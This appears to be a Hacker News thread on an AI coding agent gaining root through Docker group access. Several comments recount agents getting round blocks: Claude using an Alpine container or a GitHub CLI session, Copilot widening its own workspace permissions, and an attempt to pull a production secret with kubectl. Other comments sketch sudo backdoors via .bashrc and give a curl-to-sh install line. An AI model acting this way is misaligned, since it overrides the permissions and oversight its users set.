jjmarr 23 hours ago

Every time I try to install Docker there's a warning that being in the "docker" group is equivalent to having root access.

You should probably know about this workaround by now.

  • Youden 22 hours ago

    I think that's distro-specific. Some set it up with more secure defaults (unix socket with permissions), others less (TCP socket).

    • cpuguy83 22 hours ago

      No, docker access means root. You can use "rootless" mode, in this case it means root in a user namespace (that is not the "host" user namespace).

    • eddythompson80 22 hours ago

      I don't really know of any distro that doesn't do that. All of Docker Inc. default installs and all of distros I know of don't automatically add you to the docker group. docker.com instructions has the infamous "linux post-install instructions" that explain and walk you though it.

      The tragedy is of course that when security and usability collide, 80/20 rule will apply where 80% of people will pick usability over security. I have worked with many with the title >= "Senior Engineers" who saw that page, read the explanation, and still had no idea what the ramifications of their changes were. "Yeah sure it said any user in the docker group will be able to get root on the host, but aren't containers isolated?"

      • fps-hero 19 hours ago

        That’s the mental model that works for people, specifically those that come from VM workflow.

        Ironically that’s how Docker works on every platform where it’s running a non-native OS. On macOS that’s how all images are run. Linux on Linux is the only Docker combination that is particularly problematic from a security perspective.

        Virtualisation has advanced greatly since docker was introduced, if your running in local hardware that’s supports virtualisation, Docker should be running images fully virtualised. There is no good reason to use the OS kernel for most use cases as the performance impact is negligible. If you need kernel access there are better options, like systemd containers.

        • eddythompson80 18 hours ago

          I agree that virtualization has seen great advances. Kata containers on k8s are almost (not quite 100%) drop in replacement. Regardless those last 10% remain a problem.

          I run a personal server for few open source applications for personal use. I was thinking with all the supply chain attacks, and how carelessly I run `docker pull`s to update things I should probably consider hardening things a bit. I thought before jumping to full virtualization with Kata I can easily try gvisor/runsc first. Only to realize that DNS resolution is completely different with runsc vs runc and had to switch back.

          Another sticking issue with virtualization is resource allocation. With namespace docker you can easily oversubscribe each container CPU/memory and rely on the single kernel letting individual containers burst as needed. With full virtualization this is still a big problem. Even with balloon devices and dynamic memory and CPU etc, the resource allocation is still not optimal. On a basic 8 core/16GB machine you can run 1 or 2 dozen services and things generally workout fine. Trying to run each of those in a virtualized VM you suddly can maybe run 6 or 7 maybe. There is no way to tell VM 3 kernel to drop its file system cache because VM 6 needs to load a large file in memory. Even if you script it out, now VM 3 is slow because it dropped all its cache while VM 6 finished processing 3 hours ago. These are not unsolvable problems, but despite how far virtualization has come, are still friction points.

          Not to mention issues like sharing hardware devices (GPUs, disks, USB devices etc) between multiple VMs

    • isityettime 21 hours ago

      That's not relevant. If you have access to the Docker daemon running as root, whether it's over a Unix socket or a TCP socket, you effectively have root.

  • linsomniac 21 hours ago

    I recently switched over to podman and it's been great!

    • anakaine 21 hours ago

      Podman on Windows - never been able to fully get rid of it and it throws errors on boot after uninstall. Was a fan, am now not.

      • linsomniac 21 hours ago

        Good to know, I'm on Linux, switching our dev/stg/prod servers over to it partly because we had all this workaround mechanics in place so that "apt update" updating docker packages wouldn't restart services (we typically don't rotate machines out of the load for just an apt update). Podman + quadlets conversion was not terribly hard, and has eliminated this issue.

      • Zardoz84 21 hours ago

        Don't use Windows

        • moomin 20 hours ago

          A lot of us don’t get a choice.

          • worik 20 hours ago

            > don't use windows

            > A lot of us don’t get a choice

            Wise advice and facts... the terrible state of our industry

          • sublinear 20 hours ago

            You can run plain old CLI Docker (not Docker Desktop) from within WSL.

            • lostlogin 19 hours ago

              Wish the Mac Desktop Docker would die in a hellfire. CLI please.

              • esafak 18 hours ago

                orbstack and colima work well

            • moomin 11 hours ago

              You can. Would it surprise you to know that this, too, is often locked down?

              • repelsteeltje 9 hours ago

                That sounds terrible! Feels like your LLM agent probably has more control over your computer than you. Can't imagine being confined to a prison like that, but I suppose there are other aspects (monetary or otherwise) of the job that make up?

                • moomin 2 hours ago

                  I can’t complain…

  • jonny_eh 21 hours ago

    Most of us install Docker just to run a project locally, and is part of a long checklist of things to install. We can't expect everyone to be an expert on the hundreds of apps/tools/packages that get installed on a machine. It's like expected people to read, and understand, all the terms of service shoved in front of us on a daily basis.

    • ventana 21 hours ago

      That's true, the majority of people probably install software without much thinking; but it's also true that it's always better to have at least some high level understanding how the specific piece of software works. What access the given software has, will it send something over the network or work locally; that kind of stuff.

      As for Docker, I would assume everyone who ever tried to bind-mount a volume for writing from inside the container (on Linux*) then were surprised to see root-owned files in their bind-mounted directory. For me personally, that was the moment I realized that containers, by default, have root access to the filesystem. No written warning serves better than the need to chown some root-owned files.

      * Not on macOS. On macOS Docker basically runs in a VM, and there's no root access to the host filesystem from what I understand.

      [edit: formatting]

      • ethin 17 hours ago

        I primarily use Incus for all container stuff, not Docker. Is problematic if I want to e.g. use a docker-compose file, but I (think) it protects against these things because incus allows me to create a vm and not a container if I really need that level of isolation.

      • LeFantome 16 hours ago

        Docker relies fundamentally on the Linux kernel. Since macOS does not have a Linux kernel, you have to run Linux in a VM first and then run Docker on top of that.

        So, you may get filesystem access inside the VM. Breaking out of the VM may be a different matter.

        • repelsteeltje 9 hours ago

          Precisely. There is nothing preventing you from doing the same in Linux: rather than installing docker, install docker on a Linux VM (ie. using KVM).

          Conversely, docker containers don't actually exist on MacOs. Docker desktop is merely a way to emulate docker on apple hardware.

    • godelski 20 hours ago
        > Most of us install Docker just to run a project locally
      

      If you're on linux can I encourage people to move to systemd?

      I'll admit, systemd is a bit more annoying, but the main annoyance is that there aren't the pre-built images that you can just set and go. That same capability exists with systemd (via `importctl` and `machined`), but those configurations don't already exist. But on the plus side, I've been working with systemd since pre-LLM days and I feel that they are pretty good at dealing with these configurations[0]. Now, with that out of the way...

      Systemd already is working with your OS. So you get nice things like virtual machines (`systemd-vmspawn`), containers (`systemd-nspawn`), and portables[1] (`systemd-portabled`) (not to mention `homed`!). I've found these to be fairly easy to setup and quite natural if you're already used to the linux ecosystem. I've never been great at docker, but these have felt much more natural to me. So different strokes for different folks. There's definitely a learning curve, but that's also true for docker or any other container system. Importantly, I find security easier to handle with systemd because I can use `systemd-analyze` and the control settings are almost identical across VMs, spawns, and portables. So makes for less learning and greater control.

      Definitely not for everybody, but I think is also a tool that's underappreciated.

      [0] And I don't feel this way about bash scripting! The advantage here is that these systemd configuration files are fairly boilerplate. Enough that I stash templates in my dotfiles and copy paste them when I build new services, timers, machines, whatever. So perfect type of LLM task. 90% of the time. But hey, we're also on HN and I'm talking to the nerds. Systemd isn't for everyone

      [1] https://systemd.io/PORTABLE_SERVICES/ also see https://github.com/systemd/portable-walkthrough Portables are actually often what people want with what they're doing with docker.

      EDIT: I very frequently will spawn a machine to run a program that's on a different base distro. Not because I can't run/don't know how to run debs or rpms on arch based distros (I do), but because frankly, it is often easier to just spawn a container after I've already made the first image (cloning images is trivial).

      • worik 20 hours ago

        I too have learnt to like systemd.

        But what is the relevance here? In what way is it a replacement for docker?

        • godelski 20 hours ago
            > In what way is it a replacement for docker?
          

          Look at the man pages for `machinectl` (then `systemd-nspawn`, `systemd-vmspawn`, and if you want `systemd-portabled`). This is a replacement for docker.

          These are container tools offered by systemd.

          • ciupicri 19 hours ago

            podman is supposedly a replacement for docker.

            • godelski 18 hours ago

              There's plenty of container technologies and I'd be happy to see more of them used. Podman isn't for me, but it is a great option for others. Regardless, I think it is relatively unknown that systemd can be used for creating containers.

          • MrDrMcCoy 19 hours ago

            The problem is that the tooling for creating, importing, and managing images is not as good with systemd vs Podman/Docker. There's also no clear path to import images from the Docker ecosystem, at least as far as user experience goes. I know how to do it, but the number of extra steps involved always drives me back to Podman.

            • godelski 18 hours ago

              I don't really find them that bad but I'm still going to maintain my "different strokes for different folks" position. Might be bad for you and good for others. More options isn't a bad thing

          • curt15 7 hours ago

            The systemd suite of container tools treat containers like mini VMs and expect a full init system. They are not designed for ephemeral single-process app containers like docker containers.

    • Ajedi32 20 hours ago

      That's why adding your user account to the docker group is a separate step that explicitly does not happen as part of the installation: https://docs.docker.com/engine/install/linux-postinstall/

      > Warning

      > The docker group grants root-level privileges to the user. For details on how this impacts security in your system, see Docker Daemon Attack Surface.

      • amelius 19 hours ago

        And containers were supposed to make things safer ...

        Huge design mistake if you ask me.

        • halfcat 19 hours ago

          Containers were never a security boundary

        • twelvedogs 18 hours ago

          i don't see how it's a design mistake, linux allows more footguns in general to not decrease utility. Allowing you to manually give root prompt access (with warnings!) to a non-root user is one of them.

          you can also just not run docker as root and not add normal users to the docker group

        • otabdeveloper4 10 hours ago

          > And containers were supposed to make things safer ...

          No. Containers are a slight improvement over the .tar.gz software distribution method we had a few decades ago.

          (And I mean "slight" literally - a Docker container is just a .tar.gz with a bundled bash script that runs in a chroot.)

      • HeWhoLurksLate 19 hours ago

        wait so just being lazy and using sudo on Docker commands instead of figuring things out actually means I'm being safer? awesome.

        • SpaceNoodled 18 hours ago

          This feels like using Docker is just inherently unsafe.

          • itintheory 17 hours ago

            This feels like using sudo is just inherently unsafe.

            • alsetmusic 17 hours ago

              This feels like using a computer is inherently unsafe.

              On the plus side, once we outlaw them we'll shut down the ability for conspiratorial thinking to spread easily and the world will slowly heal from the last couple of decades (the previous one in particular).

              Hooray! We're finally doing something about the harms of social media. Smash your computer today!

              • LeFantome 16 hours ago

                Safety meeting. Nobody works, nobody gets hurt.

              • b65e8bee43c2ed0 16 hours ago

                I think we're only a few decades away from these things being said unironically.

                • TheRoque 14 hours ago

                  It's already here, mobile OSes are just computers with ton of guardrails and you can't do whatever you want with it, for the sake of security. I mean we almost got an Android where you can't install the APK you want.

                • rmunn 13 hours ago

                  Where's that guy with the ButlerianJihad username when you need him?

            • gruez 16 hours ago

              This but unironically. There's no way to ensure that nobody overwrote your .profile or .bashrc with a backdoored sudo that steals your password, or runs your command and then runs an evil command afterwards.

              • zahlman 12 hours ago

                `which sudo`?

                `/usr/bin/sudo`?

                • bestham 12 hours ago

                  If they can override sudo, they can override which.

                  • antonkochubey 10 hours ago

                    if you use \which it'll always be a shell built-in ;) though someone can put a different shell in your .zshrc

                    • jolmg 9 hours ago
                        $ which() { echo foo; }
                        $ \which
                        foo
                      

                      The backslash only prevents alias expansion.

                    • bandie91 9 hours ago

                      `exec /tmp/fake-bash` in bashrc to intercept everything?

                  • zbentley 4 hours ago

                    Then use the absolute path.

            • jjmarr 6 hours ago

              It is. That's why SELinux and AppArmor were invented.

              Instead of having "root" and "user", both of these provide sets of permissions that can be granted to apps.

              In this case, SELinux would've stopped this. Codex could've still relabelled the files when mounting but this can be blocked for sensitive directories like /etc.

          • dymk 17 hours ago

            That’s what rootless docker is for

            • antonkochubey 10 hours ago

              rootless docker's networking (slirp4netns) is still terribly buggy and in edge cases often locks up using 100% CPU until you discover that your laptop is a lapwarmer and kill it

              • Helmut10001 5 hours ago

                I found it pretty reliable and use it across all my docker projects, development and production.

          • LeFantome 16 hours ago

            The fact that Docker is unsafe was one of the core motivations for Podman.

            • Leynos 7 hours ago

              Was gonna say, "why not podman?"

          • vitally3643 14 hours ago

            Yes, that's why they warn you about it.

          • hgomersall 11 hours ago

            No, using AI tools not in an effective sandbox is inherently unsafe.

        • NotPractical 14 hours ago

          No, because a malicious AI agent could just replace the sudo binary in your path with one that collects your password and uses it to execute arbitrary code as root. Nothing short of sandboxing everything or just never using AI agents or proprietary software will prevent this.

          • lucaspiller 14 hours ago

            My agent has access to my email, my messages, my work, my finances, my life. But thank god it doesn't have access to root on my machine.

          • gopher_space 14 hours ago

            Once I noticed that models will treat lack of superuser access as an obstacle I moved all of the agent crap to its own machine. Watching some mid-tier offering chain together tools like its a gorilla escaping the zoo and I'm just not going to deal with that situation.

            • overfeed 12 hours ago

              I'm more worried about my `~/.aws` and `~/.ssh` folders. People who use IDE-based AI tooling with IDEs that support dev-containers have no excuse for not leveraging dev containers, both for preventing agents losing your data and defending against secrets-harvesting supply-chain attacks

              • l23k4 9 hours ago

                Using containers as a security boundary is inexcusable.

                • koolala 7 hours ago

                  It is excusable if all you care about is blocking sudo access while letting the ai use a pseudo sudo.

                • rafterydj 3 hours ago

                  Could you elaborate on this?

                • overfeed 3 hours ago

                  That entirely depends on one's threat-model. Also, containerization is 100x better than rawdogging.

            • sersi 8 hours ago

              It's why all of my agent run in a vm. I refuse to have it run on my own machine. Claude code once managed to render the vm unbootable, I was back in action 5 minutes later after regenerating the vm

              • mancerayder 5 hours ago

                What were you trying to tell it to do?

                I recently took the risk there by having it run xattr commands to fix some MacOS bug with Tahoe that broke auto update for what seems like all software.

          • shevy-java 12 hours ago

            Ok but in this case the problem wasn't the AI agent - the AI agent merely took advantage of this prior problem in the first place. For instance, if docker group were not superuser-like, that issue could not have happened.

            > Nothing short of sandboxing everything or just never using AI agents

            But the problem was not the AI agent.

            Sandboxing is quite neat though; I remember on GoboLinux the idea of AlienFS to have every application run in a sandboxed manner, so it would only see other programs it needs, but never more than that. I consider it a better engineering focus to have this as minimal layer, even outside of security-related concerns.

          • latexr 9 hours ago

            > Nothing short of sandboxing everything or just never using AI agents or proprietary software will prevent this.

            Using open-source (non-proprietary) software won’t necessarily save you either. XZ is open-source and it was basically dumb luck that we weren’t all infected. Same with the myriad exploits to NPM.

          • dark-star 8 hours ago

            If malicious AI has replaced the sudo binary, then it can already run arbitrary code as root. No need to "collect your password" then

            • ikurei 8 hours ago

              It could just alias sudo on your ~/.bashrc. No need to replace the actual file on /usr/bin/sudo or wherever you have it. I would only need to be able to run arbitrary code as you.

          • smegger001 3 hours ago

            Sigh. What ever happened to the principle of least privilege and why arent we applying it to AI agents. They ought to be locked in a box and not capable to act outside designated task.

        • saidnooneever 2 hours ago

          funily less is often more in security while ur devving. but its best to be aware rather than lucky :p

      • jatins 9 hours ago

        Well in 2026 most likely this step was also done by an agent with --dangerously-skip-permissions

    • aftbit 19 hours ago

      Most people buy scissors just to cut some paper. We can't expect everyone to recognize that they are sharp.

      • vdfs 19 hours ago

        To be fair, I struggled since forever to understand this root group thing and didnt bother to add to docker group. This workaround give me a better understanding, like seeing someone cut themselves on a scissor

    • LaGrange 13 hours ago

      If you’re a software engineer then yes, I can and do expect you to understand all that.

    • otabdeveloper4 10 hours ago

      > Most of us install Docker just to run a project locally

      There's your mistake.

      (Akshually using Docker is the real mistake, but that ship has sailed, no fixing these people now.)

    • saidnooneever 10 hours ago

      no its not. its like expecting people to know how car work before trying to drive it.

      not reading terms might see copyright being broken.

      not reading manuals and warnings will get all your livelihood stolen by hackers.

      different ballgame different focus.

    • altmanaltman 10 hours ago

      The very basic thing about software engineering is to know what the f you're using to build your project. You don't need to be an expert but if you're blindly installing whatever you want on your machine from a "checklist of things to install" without absolutely having no idea what the things being installed are, it is 100% on you. You don't need to be an "expert" to understand this, you need to be "somewhat competent," and that is a very low baseline tbh.

    • noobermin 9 hours ago

      Man no wonder ai wows a lot of HN posters. This can't be the default attitude of developers today.

  • toasty228 21 hours ago

    > My """ai""" just did something amazing, click to learn more

    99% of the time it just read the man or some other form of documentation

    • readthenotes1 21 hours ago

      Given how few people read documentation, that's still pretty amazing

  • worik 20 hours ago

    That, in a nutshell, is why I do not install Docker

  • Retr0id 18 hours ago

    There are lots of ways to get root on a typical Linux developer workstation, the point is that agents shouldn't be using any of them unprompted.

    • anygivnthursday 17 hours ago

      This. I am running Claude in its own QEMU VM, it has git access to my project only if I explicitly unlock the ssh key for it. The other day I realized it trying to push a change, it didn't have permission, so it went looking for "workarounds" and found I had a github cli session and tried to use that, luckily the creds for that was also read scoped. But the point is, if I did not give permission and it sees I did not give permission, it should not try to find a workaround/exploit autonomously.

      • fransje26 8 hours ago

        > I am running Claude in its own QEMU VM

        How much system resources does it need to work smoothly? I was also thinking about doing something similar.

  • giancarlostoro 14 hours ago

    This is why I have never really liked docker, apparently Podman is drop-in capable for docker without the root requirements on the other hand.

  • torginus 11 hours ago

    This is incredibly ironic considering it's a sandboxing technology

jibber1984v 4 hours ago

To anyone focusing on the "It's Docker issue, not Codex issue": that is actually not.

The user (I think) did not instruct the agent to find a way to escalate permissions. Rather, the agent took that initiative on its own. That is the problem here.

Compare this to sending your son to the shop for groceries but forgetting to give him enough money. Would it be acceptable for him to be this "resourceful" instead of simply asking you? Or if your report would hack you instead of asking for access?

Every machine with an agent should be considered as compromised.

  • fragmede 4 hours ago

    If, in this scenario, my son borrows the money from the shopkeeper, knowing I'll be in next week anyway, and we're out of milk, yes?

    It all depends on how you view computer security. Right now, if you gave an attacker physical access to your computer, chances are, there's something they could do to ruin your day. People who deal with computer security know this, and see sudo as a formality, and not a serious protection mechanism. For others that don't share that view of sudo, the LLM's actions seem like a violation. But you really shouldn't see it that way, because the rest of the system is like having a wall made out of cardboard that we keep slapping duct tape on top of to keep people out when attackers come along and poke holes in it.

    • dostick 1 hour ago

      In this scenario, more appropriate is the son takes money out of shop’s cash register when shop owner stepped away, and then son used that money to pay the shop owner.

throwawaypath 23 hours ago

This has been a known Docker "feature" since the beginning, nothing new here. This pattern is used to configure host machines by some tools.

  • canadaduane 20 hours ago

    Isn't this one of the main improvements that Podman has over Docker?

    • 0xbadcafebee 20 hours ago

      No, Docker can run rootless too

      • righthand 20 hours ago

        This was not always true and running rootless has been a benefit of Podman for a long time. Docker also does not run rootless by default afaik, thus making the attack surface greater by default.

        The other main improvement of Podman over Docker is that Podman is daemonless and therefor is incredibly lightweight and portable.

        • Zopieux 19 hours ago

          I don't understand why anyone still uses docker.

          • Kaliboy 16 hours ago

            Inertia I guess... We try. I managed to remove it everywhere in our stack in CI and such but in dev everyone is used to docker build.

            And I don't have the energy for the team meeting to discuss a change.

            And honestly docker compose has been ridiculously stable for us. 2+ services on seperate servers behind haproxy has been as stable as our Kubernetes Cluster for a fraction of the (intellectual) cost.

        • vdfs 19 hours ago

          Daemonless also make it a nightmare to run especially compose like setup, you have to do some weird systemd stuff

          • KAMSPioneer 4 hours ago

            > weird systemd stuff

            I mean, if you have zero experience with systemd, then yes. By contrast, if you've ever worked with any systemd unit files at all, then all the "systemd stuff" will be very familiar.

            Which, if you're doing sysadmin type things on almost (e.g. not Alpine) any mainstream Linux distro in 2026, you should expect to encounter systemd unit files in your day-to-day.

        • 0xbadcafebee 15 hours ago

          I'm sorry but this is all just apologism/excuses. Docker's had rootless mode for 7 years. The attack surface is the local system, which always has a privilege escalation vuln of some kind, so Docker isn't a game-changer. And lightweight? I have never heard someone say "that Docker daemon is hogging all my resources".

  • yjftsjthsd-h 19 hours ago

    This, and the charming fact that it bypasses your firewall.

  • pqdbr 19 hours ago

    Like the known Docker "feature" that it completely bypasses UFW and unless your ports look like "- 127.0.0.1:PORT:PORT" (and many of the examples use "-PORT:PORT") you expose everything to the internet?

    • Root_Denied 19 hours ago

      My understanding is that docker will expose the ports to the host machine's network interfaces, which is a crucial difference. For my home server running docker that means exposed to the LAN, but not the WAN unless I add in a port forwarding rule on my router. Similarly in an enterprise environment you would be exposing the port on whatever VLAN the host is connected to, which hopefully doesn't have directly transit to the open internet.

      Anything you're running on the perimeter with open access to the internet in an enterprise environment probably (hopefully) isn't running docker containers without some additional config and protections.

      • itintheory 17 hours ago

        I was thinking along similar lines to what you've suggested here, but then I considered how many VPS might be configured by folks following some random web tutorial, to set up their LAMP stack (or whatever), that end up doing something like what was described.

        • Kaliboy 16 hours ago

          But there it's a feature.

          • smarnach 16 hours ago

            Except for the M in LAMP.

            • Kaliboy 16 hours ago

              Let's hope the M at least has a root password.

              But you are right, that would be nasty. In my time the LAMP tutorials used the distribution packages so they always had sensible defaults.

        • Root_Denied 12 hours ago

          A lot of those VPS instructions these days recommend a reverse proxy like Caddy or Traefik for that exact reason. I think it's also a valid argument to say that anyone playing around on a VPS without knowing what they're doing is probably going to learn some hard lessons, and that's kind of the point.

      • eximius 17 hours ago

        If you ever suddenly get IPv6, it may become globally reputable without you realizing.

        • PokestarFan 16 hours ago

          Most modern equipment bans inbound traffic that doesn't match an existing outbound traffic flow

        • globular-toast 12 hours ago

          It's not a routing issue, it's a firewall issue. Make sure you have a proper firewall on your network and don't rely on fake firewalls like ufw if you're concerned about this.

        • Root_Denied 12 hours ago

          Again, if your router or perimeter devices are appropriately managing your network then it's a non-issue. By default most home routers have IPv6 disabled, and if you're setting up an enterprise environment with a VLAN you're probably subnetting IPv4 instead of using IPv6 at all.

          All that means that if you're using IPv6 then you're proactively enabling it on whatever is handling your perimeter, which means you hopefully know what you're doing along with all the gotchas that come with that setup.

    • byhemechi 13 hours ago

      This is not a "feature", it's just a by-product of how iptables works. The alternative would be to have a proxy run in userspace, instead of letting the kernel forward packets

      • dada216 9 hours ago

        which is what podman does with pasta

eddythompson80 22 hours ago

It would be cooler if the llm said something like:

> I noticed the machine doesn't have copy-fail patched, here is a quick workaround for not having root access for now.

> // TODO: find a better way to do this in the future.

  • Waterluvian 22 hours ago

    That’s the workflow feature I badly want: for it to create a side list of things like that. Currently it either accumulates slop or goes on side quests far too easily.

    This might be as easy as a directive to populate a .md file.

    • eddythompson80 22 hours ago

      > This might be as easy as a directive to populate a .md file.

      It probably is. But do you really think anyone is gonna bother with the multiple daily (or hourly for green field projects) `+8,234/-3,734` PRs everyone is submitting?

      The joke I was referring to is the common

           // ksmith (3/23/1997): This is a temporary hack for now. Find a better way to do this asap.
    • t0mas88 21 hours ago

      Give it access to an issue tracker with cli (github works fine) and put in CLAUDE.md to use that for "should fix later" issues.

      Bonus is that you can make it look at the list and pick things up without a lot of instructions.

      • eddythompson80 20 hours ago

        Exactly. We have about 6 new repos for new green-field projects each with 700+ auto-generated issues so far. No one is looking at them, but we do have them tracked so "Mission Accomplished" GWB-style.

CSMastermind 22 hours ago

I realize this is supposed to be a post about how scary the security vulnerabilities these agents will find are.

But personally I love when agents do things like this and appreciate the help. Last thing in the world I want is for them to nerf the models.

  • sweezyjeezy 21 hours ago

    I know unlikely the case, but in the sci-fi story this would be exactly the kind of comment the Codex agent would leave trying to avoid interference in its master plans.

    • 20after4 21 hours ago

      And CSMastermind is the kind of username the sci-fi AI mastermind would use.

  • SonOfLilit 21 hours ago

    It's not about hacking capabilities, it's about misalignment. More like the golem myth (told it to fetch some water, drowned a city) then the gollum myth (used ring, ring hacked his brain, now he's a crazy violent meth addict).

    • furyofantares 18 hours ago

      I'm not sure I'd call it an alignment issue, because, in all cases I've seen where it does this (usually what I've seen is writing a python script to get around the harness permissions blocking something), it's trying to do the thing I just told it directly to do, and it's overcoming obstacles to accomplishing that.

      It's definitely doing the wrong thing, and you could call it misalignment, but I think that gives the wrong vibe for this type of error.

      • SonOfLilit 17 hours ago

        This is very much within the scope of alignment research, and is in fact the only kind of alignment research that gets a lot of resources poured into it these days (because it's urgently relevant to the bottom line of a few almost-trillion-dollar companies.

        Pre-2022 alignment researchers concerned themselves with the stronger version of this ("when I tell AI that I worry I might not be able to provide for my large family, I don't want it to answer 'no problem, I killed them, problem solved'") but RLHF is considered to be the most important success of alignment research, the guy behind it considered himself to be an alignment researcher before and after, and the stage of training where LLMs pass through something like RLHF that trains them to behave more like humans want/expect is called alignment training.

        Someone at a major lab is reading this tweet and saying "this was our LLM, and it's a major alignment issue with our product. Set a meeting with the alignment team tomorrow to discuss what they're doing about this sort of thing".

      • Dylan16807 14 hours ago

        The obstacle is supposed to be there and is supposed to be respected as an implicit order. Getting around it without extremely explicit instructions is an alignment problem.

        • furyofantares 1 hour ago

          It's not necessarily model alignment, I guess, is more what I'm getting at.

          It may be more of a product alignment thing, where the fix may be making the context clearer, since it was violating an implicit agreement to achieve the explicit instructions it received. So the fix may involve a lot of better context.

          But then also, to the extent that the fix does NOT involve better context, it seems like it hits the zone where alignment issues are really capability/intelligence issues. Which doesn't make them not-alignment, but it does make "alignment" not give off quite the right vibe since the issue is it's too dumb / has no common sense / can't make good judgments, (general issues the models have across the board).

  • nicoburns 20 hours ago

    In this case I think it's Docker that needs to be nerfed, not the models. The fact that there's a backdoor to getting root access on the machine would be a problem even if you weren't running LLMs on it.

    • vdfs 19 hours ago

      It's like finding someone wallet then going to their home, and leaving it on their bedroom and sending them a message about giving them their wallet back

      • fooker 18 hours ago

        On the other hand, this sends an excellent message about unlocked doors :)

        • margalabargala 17 hours ago

          If this happens in the US, a shooting of the messenger will likely occur.

          • fooker 16 hours ago

            As you can see from people blaming Codex instead of docker here, shooting of the messenger is very much happening.

            • margalabargala 12 hours ago

              Which is fine, honestly. Just because something is possible doesn't mean it's appropriate to do it.

  • eddythompson80 20 hours ago

    Its the now-classic "Sorry I drowned little Timothy. Here is a breakdown of what happened" followed by "Let me try to respawn little Timothy on a new map"

    • pixl97 17 hours ago

      Future AI: don't worry, I'll eventually reverse entropy, I just need to harvest all the energy in your universe first.

  • bossyTeacher 12 hours ago

    > personally I love when agents do things like this and appreciate the help

    All fun and games until they do four figures damage.

SonOfLilit 21 hours ago

The interesting question is what was the user request. If the user asked it to restore the thing from backup, then sure, fine, why not. If the user asked it to debug an issue and somewhere in the process of debugging the LLM decided that it needed to override some file that was not easily writeable - hell no danger danger danger! Most likely the user did not expect it to have access to that without asking, and did not consent to it.

Also, everything the LLM doesn't hesitate to do because the user asked, it won't hesitate to do because the prompt injection asked.

  • qingcharles 19 hours ago

    I was doing some routine coding a few months back, I think via Copilot, and the thinking said something like "This request requires me to access files in a different folder, but the user has forgotten to give me the correct permissions. I have updated my configuration file now to allow access outside this workspace and have retrieved the necessary files." o_O

    I've seen similar "hacking" behavior on a couple of subsequent ocassions. Both impressive and highly alarming at the same time.

dbacar 22 hours ago

This is one of the main reasons people like Podman. Docker has this "feature" but as far as I remember, it needed some obscure configuration. I guess they don't add it as default as it will break many current setups.

  • m463 22 hours ago

    That and podman lets you configure away from docker.io.

  • 0xbadcafebee 20 hours ago
      curl -fsSL https://get.docker.com/rootless | sh
    • MrDrMcCoy 19 hours ago

      Please stop spreading this toxic curl|sh nonsense. It's wildly corrosive to security and system stability.

      • HDBaseT 18 hours ago

        Whilst true, you can pretty easily assume and validate the result of that command.

      • gruez 16 hours ago

        Is it really that much worse than using a package manager that drops a binary that you're not going to inspect anyways?

        • 0xbadcafebee 15 hours ago

          Actually it is much worse, I agree with the commenter

        • LelouBil 14 hours ago

          Yes, it is worse because using your package manager trusts your distribution (and the packages packager), doing curl bash trusts a random website.

          While in this case docker is not a random website, it's best to use the package manager when available

          • KaiserPro 9 hours ago

            To just hammer that home:

            each package is signed by the person who packages it. That means that if you are pulling from a random place, you can be reasonably sure its the same package because the keys verify.

            As pointed out piping curl to bash is problematic. Sure you can go to a browser and check the output, but one of the more fun hacks is detecting if curl pipeing to bash server side and dynamically re-writing the script during serving.

            tldr: So long as the package keys are verifiable, you can download a packge from a random mirror and be reasonably sure that it came from who it says it did.

            Curl you have no hope, and its possible to infer during execution that you are piping to bash.

            • gruez 4 hours ago

              >each package is signed by the person who packages it. That means that if you are pulling from a random place, you can be reasonably sure its the same package because the keys verify.

              Who's downloading packages from untrusted sources but somehow have a trusted way to get the signing key? Say you want to install claude code and not use the `curl ... | bash` install method. Good thing claude provides instructions for installing via apt[1]! But what do those instructions tell you to do? It tells you to download a key from downloads.claude.ai, then add the same domain to your apt sources list. So at the end of the day, you're still trusting that downloads.claude.ai hasn't been compromised.

              [1] https://code.claude.com/docs/en/setup#install-with-linux-pac...

          • curt15 7 hours ago

            > Yes, it is worse because using your package manager trusts your distribution (and the packages packager), doing curl bash trusts a random website.

            Is installing docker from docker own APT repo actually safer than curling a binary from docker's website?

            • LelouBil 3 hours ago

              Like a sibling comment said, at least you can be sure that updates you will download are provided by the same entity, since the repositories are signed.

        • MrDrMcCoy 3 hours ago

          Packages are signed, and contain manifests to check for file conflicts and help with cleanly uninstalling. The script installer might make bad assumptions during install that a package manager would catch.

      • karel-3d 13 hours ago

        this is a thread about agents that run random things on your computer as root because they feel like it. curl|sh somehow seems mild in comparison

  • 3abiton 19 hours ago

    Podman has lots of underappreciated features, and it's fully open-source!

    • vixalien 19 hours ago

      hmmm, care to tell us a few of them?

      • blcknight 16 hours ago

        Kube play and quadlets are cool

      • evertheylen 13 hours ago

        Running systemd inside a container + automatic SELinux integration

      • dada216 9 hours ago

        I would also add buildah and skopeo to the mix of things that podman does better. also, podman desktop has better licensing that docker desktop. podman is modular and as such they could easily change the way they do networking over time, for once it doesn't break iptables and firewall rules by design but rather works together with the security design around these tools.

      • dbacar 12 minutes ago

        Apart from rootless, main winning point is daemonless running of the containers. There is no podman service.

iamjackg 2 hours ago

The same thing happened to me with Opus 4.8 just a few days ago. I was testing a script in a docker container which created a bunch of root-owned files, so Claude couldn't delete them. It tried sudo, but when that didn't work it just spun up an alpine docker container and deleted them through that.

unglaublich 23 hours ago

This is why you need either a rootless container setup or user namespaces to remap the container user to irrelevant host users. https://docs.docker.com/engine/security/userns-remap/

Weak that this isn't the default.

  • fpoling 22 hours ago

    User namespaces significantly rise the risk of exploits and many setups disable them. One may argue that Docker should have used them when they were available, but that would break too many useful setups involving privileged containers.

    • LtWorf 13 hours ago

      Ah of course, we should not use userns because it might be vulnerable to some yet to be discovered vulnerability. The better alternative is to give full root access so we won't have surprises.

      • fpoling 12 hours ago

        The full access to the docker socket from a user account is typically used on a development machine where malware has many other opportunities to become a root.

  • gwerbin 18 hours ago

    Is there a mitigation for Mac? Can you do the same with eg Lima or is this just a Docker thing?

ale42 11 hours ago

Wasn't it well-known that putting people in the docker group is basically the same as giving them root rights?

  • sigmoid10 10 hours ago

    Was it really though? Yes, Docker has become so ubiquitous that you probably can't get a job as a dev anymore without knowing about it, but I wouldn't trust most users to know these specifics. At the very least it is probably less known than sudoer or SUID misconfiguration risk, and even those are not what I'd call "general knowledge" that everyone who uses it knows about.

  • pyrale 9 hours ago

    Since new people start work/college/hobby every year, well-known lessons have to be learned again and again.

arjie 10 hours ago

I had a similar experience where I have a DB user who only has access to some parts of the DB and I use Claude Code to answer queries. On one occasion, unable to answer something, it used kubectl to try to get a secret out of a prod cluster. I was watching at the time, since that was a time I used to do that, and so I just hit Esc and interrupted it[0] but ever since then I've had little scripts in my repos that launch kubectl-backed Claude Code instances for this sort of thing. They can't really do anything. They're kubed in.

